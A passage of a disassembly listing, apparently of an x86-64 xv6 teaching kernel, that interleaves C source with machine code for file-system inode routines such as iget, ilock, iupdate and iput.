ffff80000010256a: 80 ff ff
ffff80000010256d: ff d0 callq *%rax
ffff80000010256f: 48 89 45 f0 mov %rax,-0x10(%rbp)
dip = (struct dinode*)bp->data + inum%IPB;
ffff800000102573: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102577: 48 8d 90 b0 00 00 00 lea 0xb0(%rax),%rdx
ffff80000010257e: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000102581: 48 98 cltq
ffff800000102583: 83 e0 07 and $0x7,%eax
ffff800000102586: 48 c1 e0 06 shl $0x6,%rax
ffff80000010258a: 48 01 d0 add %rdx,%rax
ffff80000010258d: 48 89 45 e8 mov %rax,-0x18(%rbp)
if(dip->type == 0){ // a free inode
ffff800000102591: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102595: 0f b7 00 movzwl (%rax),%eax
ffff800000102598: 66 85 c0 test %ax,%ax
ffff80000010259b: 75 66 jne ffff800000102603 <ialloc+0xe2>
memset(dip, 0, sizeof(*dip));
ffff80000010259d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001025a1: ba 40 00 00 00 mov $0x40,%edx
ffff8000001025a6: be 00 00 00 00 mov $0x0,%esi
ffff8000001025ab: 48 89 c7 mov %rax,%rdi
ffff8000001025ae: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff8000001025b5: 80 ff ff
ffff8000001025b8: ff d0 callq *%rax
dip->type = type;
ffff8000001025ba: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001025be: 0f b7 55 d8 movzwl -0x28(%rbp),%edx
ffff8000001025c2: 66 89 10 mov %dx,(%rax)
log_write(bp); // mark it allocated on the disk
ffff8000001025c5: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001025c9: 48 89 c7 mov %rax,%rdi
ffff8000001025cc: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff8000001025d3: 80 ff ff
ffff8000001025d6: ff d0 callq *%rax
brelse(bp);
ffff8000001025d8: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001025dc: 48 89 c7 mov %rax,%rdi
ffff8000001025df: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001025e6: 80 ff ff
ffff8000001025e9: ff d0 callq *%rax
return iget(dev, inum);
ffff8000001025eb: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001025ee: 8b 45 dc mov -0x24(%rbp),%eax
ffff8000001025f1: 89 d6 mov %edx,%esi
ffff8000001025f3: 89 c7 mov %eax,%edi
ffff8000001025f5: 48 b8 60 27 10 00 00 movabs $0xffff800000102760,%rax
ffff8000001025fc: 80 ff ff
ffff8000001025ff: ff d0 callq *%rax
ffff800000102601: eb 45 jmp ffff800000102648 <ialloc+0x127>
}
brelse(bp);
ffff800000102603: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102607: 48 89 c7 mov %rax,%rdi
ffff80000010260a: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102611: 80 ff ff
ffff800000102614: ff d0 callq *%rax
for(inum = 1; inum < sb.ninodes; inum++){
ffff800000102616: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff80000010261a: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff800000102621: 80 ff ff
ffff800000102624: 8b 50 08 mov 0x8(%rax),%edx
ffff800000102627: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010262a: 39 c2 cmp %eax,%edx
ffff80000010262c: 0f 87 10 ff ff ff ja ffff800000102542 <ialloc+0x21>
}
panic("ialloc: no inodes");
ffff800000102632: 48 bf 8b c5 10 00 00 movabs $0xffff80000010c58b,%rdi
ffff800000102639: 80 ff ff
ffff80000010263c: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102643: 80 ff ff
ffff800000102646: ff d0 callq *%rax
}
ffff800000102648: c9 leaveq
ffff800000102649: c3 retq
ffff80000010264a <iupdate>:
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
ffff80000010264a: f3 0f 1e fa endbr64
ffff80000010264e: 55 push %rbp
ffff80000010264f: 48 89 e5 mov %rsp,%rbp
ffff800000102652: 48 83 ec 20 sub $0x20,%rsp
ffff800000102656: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
ffff80000010265a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010265e: 8b 40 04 mov 0x4(%rax),%eax
ffff800000102661: c1 e8 03 shr $0x3,%eax
ffff800000102664: 89 c2 mov %eax,%edx
ffff800000102666: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff80000010266d: 80 ff ff
ffff800000102670: 8b 40 14 mov 0x14(%rax),%eax
ffff800000102673: 01 c2 add %eax,%edx
ffff800000102675: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102679: 8b 00 mov (%rax),%eax
ffff80000010267b: 89 d6 mov %edx,%esi
ffff80000010267d: 89 c7 mov %eax,%edi
ffff80000010267f: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000102686: 80 ff ff
ffff800000102689: ff d0 callq *%rax
ffff80000010268b: 48 89 45 f8 mov %rax,-0x8(%rbp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
ffff80000010268f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102693: 48 8d 90 b0 00 00 00 lea 0xb0(%rax),%rdx
ffff80000010269a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010269e: 8b 40 04 mov 0x4(%rax),%eax
ffff8000001026a1: 89 c0 mov %eax,%eax
ffff8000001026a3: 83 e0 07 and $0x7,%eax
ffff8000001026a6: 48 c1 e0 06 shl $0x6,%rax
ffff8000001026aa: 48 01 d0 add %rdx,%rax
ffff8000001026ad: 48 89 45 f0 mov %rax,-0x10(%rbp)
dip->type = ip->type;
ffff8000001026b1: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001026b5: 0f b7 90 94 00 00 00 movzwl 0x94(%rax),%edx
ffff8000001026bc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001026c0: 66 89 10 mov %dx,(%rax)
dip->major = ip->major;
ffff8000001026c3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001026c7: 0f b7 90 96 00 00 00 movzwl 0x96(%rax),%edx
ffff8000001026ce: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001026d2: 66 89 50 02 mov %dx,0x2(%rax)
dip->minor = ip->minor;
ffff8000001026d6: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001026da: 0f b7 90 98 00 00 00 movzwl 0x98(%rax),%edx
ffff8000001026e1: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001026e5: 66 89 50 04 mov %dx,0x4(%rax)
dip->nlink = ip->nlink;
ffff8000001026e9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001026ed: 0f b7 90 9a 00 00 00 movzwl 0x9a(%rax),%edx
ffff8000001026f4: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001026f8: 66 89 50 06 mov %dx,0x6(%rax)
dip->size = ip->size;
ffff8000001026fc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102700: 8b 90 9c 00 00 00 mov 0x9c(%rax),%edx
ffff800000102706: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010270a: 89 50 08 mov %edx,0x8(%rax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
ffff80000010270d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102711: 48 8d 88 a0 00 00 00 lea 0xa0(%rax),%rcx
ffff800000102718: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010271c: 48 83 c0 0c add $0xc,%rax
ffff800000102720: ba 34 00 00 00 mov $0x34,%edx
ffff800000102725: 48 89 ce mov %rcx,%rsi
ffff800000102728: 48 89 c7 mov %rax,%rdi
ffff80000010272b: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff800000102732: 80 ff ff
ffff800000102735: ff d0 callq *%rax
log_write(bp);
ffff800000102737: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010273b: 48 89 c7 mov %rax,%rdi
ffff80000010273e: 48 b8 21 56 10 00 00 movabs $0xffff800000105621,%rax
ffff800000102745: 80 ff ff
ffff800000102748: ff d0 callq *%rax
brelse(bp);
ffff80000010274a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010274e: 48 89 c7 mov %rax,%rdi
ffff800000102751: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102758: 80 ff ff
ffff80000010275b: ff d0 callq *%rax
}
ffff80000010275d: 90 nop
ffff80000010275e: c9 leaveq
ffff80000010275f: c3 retq
ffff800000102760 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
ffff800000102760: f3 0f 1e fa endbr64
ffff800000102764: 55 push %rbp
ffff800000102765: 48 89 e5 mov %rsp,%rbp
ffff800000102768: 48 83 ec 20 sub $0x20,%rsp
ffff80000010276c: 89 7d ec mov %edi,-0x14(%rbp)
ffff80000010276f: 89 75 e8 mov %esi,-0x18(%rbp)
struct inode *ip, *empty;
acquire(&icache.lock);
ffff800000102772: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102779: 80 ff ff
ffff80000010277c: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000102783: 80 ff ff
ffff800000102786: ff d0 callq *%rax
// Is the inode already cached?
empty = 0;
ffff800000102788: 48 c7 45 f0 00 00 00 movq $0x0,-0x10(%rbp)
ffff80000010278f: 00
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
ffff800000102790: 48 b8 88 46 11 00 00 movabs $0xffff800000114688,%rax
ffff800000102797: 80 ff ff
ffff80000010279a: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010279e: eb 74 jmp ffff800000102814 <iget+0xb4>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ffff8000001027a0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027a4: 8b 40 08 mov 0x8(%rax),%eax
ffff8000001027a7: 85 c0 test %eax,%eax
ffff8000001027a9: 7e 47 jle ffff8000001027f2 <iget+0x92>
ffff8000001027ab: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027af: 8b 00 mov (%rax),%eax
ffff8000001027b1: 39 45 ec cmp %eax,-0x14(%rbp)
ffff8000001027b4: 75 3c jne ffff8000001027f2 <iget+0x92>
ffff8000001027b6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027ba: 8b 40 04 mov 0x4(%rax),%eax
ffff8000001027bd: 39 45 e8 cmp %eax,-0x18(%rbp)
ffff8000001027c0: 75 30 jne ffff8000001027f2 <iget+0x92>
ip->ref++;
ffff8000001027c2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027c6: 8b 40 08 mov 0x8(%rax),%eax
ffff8000001027c9: 8d 50 01 lea 0x1(%rax),%edx
ffff8000001027cc: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027d0: 89 50 08 mov %edx,0x8(%rax)
release(&icache.lock);
ffff8000001027d3: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff8000001027da: 80 ff ff
ffff8000001027dd: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001027e4: 80 ff ff
ffff8000001027e7: ff d0 callq *%rax
return ip;
ffff8000001027e9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027ed: e9 a1 00 00 00 jmpq ffff800000102893 <iget+0x133>
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
ffff8000001027f2: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff8000001027f7: 75 13 jne ffff80000010280c <iget+0xac>
ffff8000001027f9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001027fd: 8b 40 08 mov 0x8(%rax),%eax
ffff800000102800: 85 c0 test %eax,%eax
ffff800000102802: 75 08 jne ffff80000010280c <iget+0xac>
empty = ip;
ffff800000102804: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102808: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
ffff80000010280c: 48 81 45 f8 d8 00 00 addq $0xd8,-0x8(%rbp)
ffff800000102813: 00
ffff800000102814: 48 b8 b8 70 11 00 00 movabs $0xffff8000001170b8,%rax
ffff80000010281b: 80 ff ff
ffff80000010281e: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000102822: 0f 82 78 ff ff ff jb ffff8000001027a0 <iget+0x40>
}
// Recycle an inode cache entry.
if(empty == 0)
ffff800000102828: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010282d: 75 16 jne ffff800000102845 <iget+0xe5>
panic("iget: no inodes");
ffff80000010282f: 48 bf 9d c5 10 00 00 movabs $0xffff80000010c59d,%rdi
ffff800000102836: 80 ff ff
ffff800000102839: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102840: 80 ff ff
ffff800000102843: ff d0 callq *%rax
ip = empty;
ffff800000102845: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102849: 48 89 45 f8 mov %rax,-0x8(%rbp)
ip->dev = dev;
ffff80000010284d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102851: 8b 55 ec mov -0x14(%rbp),%edx
ffff800000102854: 89 10 mov %edx,(%rax)
ip->inum = inum;
ffff800000102856: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010285a: 8b 55 e8 mov -0x18(%rbp),%edx
ffff80000010285d: 89 50 04 mov %edx,0x4(%rax)
ip->ref = 1;
ffff800000102860: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102864: c7 40 08 01 00 00 00 movl $0x1,0x8(%rax)
ip->flags = 0;
ffff80000010286b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010286f: c7 80 90 00 00 00 00 movl $0x0,0x90(%rax)
ffff800000102876: 00 00 00
release(&icache.lock);
ffff800000102879: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102880: 80 ff ff
ffff800000102883: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010288a: 80 ff ff
ffff80000010288d: ff d0 callq *%rax
return ip;
ffff80000010288f: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000102893: c9 leaveq
ffff800000102894: c3 retq
ffff800000102895 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
ffff800000102895: f3 0f 1e fa endbr64
ffff800000102899: 55 push %rbp
ffff80000010289a: 48 89 e5 mov %rsp,%rbp
ffff80000010289d: 48 83 ec 10 sub $0x10,%rsp
ffff8000001028a1: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&icache.lock);
ffff8000001028a5: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff8000001028ac: 80 ff ff
ffff8000001028af: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001028b6: 80 ff ff
ffff8000001028b9: ff d0 callq *%rax
ip->ref++;
ffff8000001028bb: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001028bf: 8b 40 08 mov 0x8(%rax),%eax
ffff8000001028c2: 8d 50 01 lea 0x1(%rax),%edx
ffff8000001028c5: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001028c9: 89 50 08 mov %edx,0x8(%rax)
release(&icache.lock);
ffff8000001028cc: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff8000001028d3: 80 ff ff
ffff8000001028d6: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001028dd: 80 ff ff
ffff8000001028e0: ff d0 callq *%rax
return ip;
ffff8000001028e2: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff8000001028e6: c9 leaveq
ffff8000001028e7: c3 retq
ffff8000001028e8 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
ffff8000001028e8: f3 0f 1e fa endbr64
ffff8000001028ec: 55 push %rbp
ffff8000001028ed: 48 89 e5 mov %rsp,%rbp
ffff8000001028f0: 48 83 ec 20 sub $0x20,%rsp
ffff8000001028f4: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
ffff8000001028f8: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff8000001028fd: 74 0b je ffff80000010290a <ilock+0x22>
ffff8000001028ff: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102903: 8b 40 08 mov 0x8(%rax),%eax
ffff800000102906: 85 c0 test %eax,%eax
ffff800000102908: 7f 16 jg ffff800000102920 <ilock+0x38>
panic("ilock");
ffff80000010290a: 48 bf ad c5 10 00 00 movabs $0xffff80000010c5ad,%rdi
ffff800000102911: 80 ff ff
ffff800000102914: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010291b: 80 ff ff
ffff80000010291e: ff d0 callq *%rax
acquiresleep(&ip->lock);
ffff800000102920: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102924: 48 83 c0 10 add $0x10,%rax
ffff800000102928: 48 89 c7 mov %rax,%rdi
ffff80000010292b: 48 b8 8a 76 10 00 00 movabs $0xffff80000010768a,%rax
ffff800000102932: 80 ff ff
ffff800000102935: ff d0 callq *%rax
if(!(ip->flags & I_VALID)){
ffff800000102937: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010293b: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000102941: 83 e0 02 and $0x2,%eax
ffff800000102944: 85 c0 test %eax,%eax
ffff800000102946: 0f 85 2e 01 00 00 jne ffff800000102a7a <ilock+0x192>
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
ffff80000010294c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102950: 8b 40 04 mov 0x4(%rax),%eax
ffff800000102953: c1 e8 03 shr $0x3,%eax
ffff800000102956: 89 c2 mov %eax,%edx
ffff800000102958: 48 b8 00 46 11 00 00 movabs $0xffff800000114600,%rax
ffff80000010295f: 80 ff ff
ffff800000102962: 8b 40 14 mov 0x14(%rax),%eax
ffff800000102965: 01 c2 add %eax,%edx
ffff800000102967: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010296b: 8b 00 mov (%rax),%eax
ffff80000010296d: 89 d6 mov %edx,%esi
ffff80000010296f: 89 c7 mov %eax,%edi
ffff800000102971: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000102978: 80 ff ff
ffff80000010297b: ff d0 callq *%rax
ffff80000010297d: 48 89 45 f8 mov %rax,-0x8(%rbp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
ffff800000102981: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102985: 48 8d 90 b0 00 00 00 lea 0xb0(%rax),%rdx
ffff80000010298c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102990: 8b 40 04 mov 0x4(%rax),%eax
ffff800000102993: 89 c0 mov %eax,%eax
ffff800000102995: 83 e0 07 and $0x7,%eax
ffff800000102998: 48 c1 e0 06 shl $0x6,%rax
ffff80000010299c: 48 01 d0 add %rdx,%rax
ffff80000010299f: 48 89 45 f0 mov %rax,-0x10(%rbp)
ip->type = dip->type;
ffff8000001029a3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001029a7: 0f b7 10 movzwl (%rax),%edx
ffff8000001029aa: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001029ae: 66 89 90 94 00 00 00 mov %dx,0x94(%rax)
ip->major = dip->major;
ffff8000001029b5: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001029b9: 0f b7 50 02 movzwl 0x2(%rax),%edx
ffff8000001029bd: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001029c1: 66 89 90 96 00 00 00 mov %dx,0x96(%rax)
ip->minor = dip->minor;
ffff8000001029c8: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001029cc: 0f b7 50 04 movzwl 0x4(%rax),%edx
ffff8000001029d0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001029d4: 66 89 90 98 00 00 00 mov %dx,0x98(%rax)
ip->nlink = dip->nlink;
ffff8000001029db: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001029df: 0f b7 50 06 movzwl 0x6(%rax),%edx
ffff8000001029e3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001029e7: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
ip->size = dip->size;
ffff8000001029ee: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001029f2: 8b 50 08 mov 0x8(%rax),%edx
ffff8000001029f5: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001029f9: 89 90 9c 00 00 00 mov %edx,0x9c(%rax)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
ffff8000001029ff: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000102a03: 48 8d 48 0c lea 0xc(%rax),%rcx
ffff800000102a07: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102a0b: 48 05 a0 00 00 00 add $0xa0,%rax
ffff800000102a11: ba 34 00 00 00 mov $0x34,%edx
ffff800000102a16: 48 89 ce mov %rcx,%rsi
ffff800000102a19: 48 89 c7 mov %rax,%rdi
ffff800000102a1c: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff800000102a23: 80 ff ff
ffff800000102a26: ff d0 callq *%rax
brelse(bp);
ffff800000102a28: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102a2c: 48 89 c7 mov %rax,%rdi
ffff800000102a2f: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000102a36: 80 ff ff
ffff800000102a39: ff d0 callq *%rax
ip->flags |= I_VALID;
ffff800000102a3b: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102a3f: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000102a45: 83 c8 02 or $0x2,%eax
ffff800000102a48: 89 c2 mov %eax,%edx
ffff800000102a4a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102a4e: 89 90 90 00 00 00 mov %edx,0x90(%rax)
if(ip->type == 0)
ffff800000102a54: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000102a58: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000102a5f: 66 85 c0 test %ax,%ax
ffff800000102a62: 75 16 jne ffff800000102a7a <ilock+0x192>
panic("ilock: no type");
ffff800000102a64: 48 bf b3 c5 10 00 00 movabs $0xffff80000010c5b3,%rdi
ffff800000102a6b: 80 ff ff
ffff800000102a6e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102a75: 80 ff ff
ffff800000102a78: ff d0 callq *%rax
}
}
ffff800000102a7a: 90 nop
ffff800000102a7b: c9 leaveq
ffff800000102a7c: c3 retq
ffff800000102a7d <iunlock>:
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
ffff800000102a7d: f3 0f 1e fa endbr64
ffff800000102a81: 55 push %rbp
ffff800000102a82: 48 89 e5 mov %rsp,%rbp
ffff800000102a85: 48 83 ec 10 sub $0x10,%rsp
ffff800000102a89: 48 89 7d f8 mov %rdi,-0x8(%rbp)
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
ffff800000102a8d: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000102a92: 74 26 je ffff800000102aba <iunlock+0x3d>
ffff800000102a94: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102a98: 48 83 c0 10 add $0x10,%rax
ffff800000102a9c: 48 89 c7 mov %rax,%rdi
ffff800000102a9f: 48 b8 7d 77 10 00 00 movabs $0xffff80000010777d,%rax
ffff800000102aa6: 80 ff ff
ffff800000102aa9: ff d0 callq *%rax
ffff800000102aab: 85 c0 test %eax,%eax
ffff800000102aad: 74 0b je ffff800000102aba <iunlock+0x3d>
ffff800000102aaf: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102ab3: 8b 40 08 mov 0x8(%rax),%eax
ffff800000102ab6: 85 c0 test %eax,%eax
ffff800000102ab8: 7f 16 jg ffff800000102ad0 <iunlock+0x53>
panic("iunlock");
ffff800000102aba: 48 bf c2 c5 10 00 00 movabs $0xffff80000010c5c2,%rdi
ffff800000102ac1: 80 ff ff
ffff800000102ac4: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000102acb: 80 ff ff
ffff800000102ace: ff d0 callq *%rax
releasesleep(&ip->lock);
ffff800000102ad0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102ad4: 48 83 c0 10 add $0x10,%rax
ffff800000102ad8: 48 89 c7 mov %rax,%rdi
ffff800000102adb: 48 b8 14 77 10 00 00 movabs $0xffff800000107714,%rax
ffff800000102ae2: 80 ff ff
ffff800000102ae5: ff d0 callq *%rax
}
ffff800000102ae7: 90 nop
ffff800000102ae8: c9 leaveq
ffff800000102ae9: c3 retq
ffff800000102aea <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
ffff800000102aea: f3 0f 1e fa endbr64
ffff800000102aee: 55 push %rbp
ffff800000102aef: 48 89 e5 mov %rsp,%rbp
ffff800000102af2: 48 83 ec 10 sub $0x10,%rsp
ffff800000102af6: 48 89 7d f8 mov %rdi,-0x8(%rbp)
acquire(&icache.lock);
ffff800000102afa: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102b01: 80 ff ff
ffff800000102b04: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000102b0b: 80 ff ff
ffff800000102b0e: ff d0 callq *%rax
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
ffff800000102b10: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b14: 8b 40 08 mov 0x8(%rax),%eax
ffff800000102b17: 83 f8 01 cmp $0x1,%eax
ffff800000102b1a: 0f 85 8e 00 00 00 jne ffff800000102bae <iput+0xc4>
ffff800000102b20: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b24: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000102b2a: 83 e0 02 and $0x2,%eax
ffff800000102b2d: 85 c0 test %eax,%eax
ffff800000102b2f: 74 7d je ffff800000102bae <iput+0xc4>
ffff800000102b31: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b35: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff800000102b3c: 66 85 c0 test %ax,%ax
ffff800000102b3f: 75 6d jne ffff800000102bae <iput+0xc4>
// inode has no links and no other references: truncate and free.
release(&icache.lock);
ffff800000102b41: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102b48: 80 ff ff
ffff800000102b4b: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000102b52: 80 ff ff
ffff800000102b55: ff d0 callq *%rax
itrunc(ip);
ffff800000102b57: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b5b: 48 89 c7 mov %rax,%rdi
ffff800000102b5e: 48 b8 6f 2d 10 00 00 movabs $0xffff800000102d6f,%rax
ffff800000102b65: 80 ff ff
ffff800000102b68: ff d0 callq *%rax
ip->type = 0;
ffff800000102b6a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b6e: 66 c7 80 94 00 00 00 movw $0x0,0x94(%rax)
ffff800000102b75: 00 00
iupdate(ip);
ffff800000102b77: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102b7b: 48 89 c7 mov %rax,%rdi
ffff800000102b7e: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000102b85: 80 ff ff
ffff800000102b88: ff d0 callq *%rax
acquire(&icache.lock);
ffff800000102b8a: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102b91: 80 ff ff
ffff800000102b94: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000102b9b: 80 ff ff
ffff800000102b9e: ff d0 callq *%rax
ip->flags = 0;
ffff800000102ba0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102ba4: c7 80 90 00 00 00 00 movl $0x0,0x90(%rax)
ffff800000102bab: 00 00 00
}
ip->ref--;
ffff800000102bae: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102bb2: 8b 40 08 mov 0x8(%rax),%eax
ffff800000102bb5: 8d 50 ff lea -0x1(%rax),%edx
ffff800000102bb8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000102bbc: 89 50 08 mov %edx,0x8(%rax)
release(&icache.lock);
ffff800000102bbf: 48 bf 20 46 11 00 00 movabs $0xffff800000114620,%rdi
ffff800000102bc6: 80 ff ff
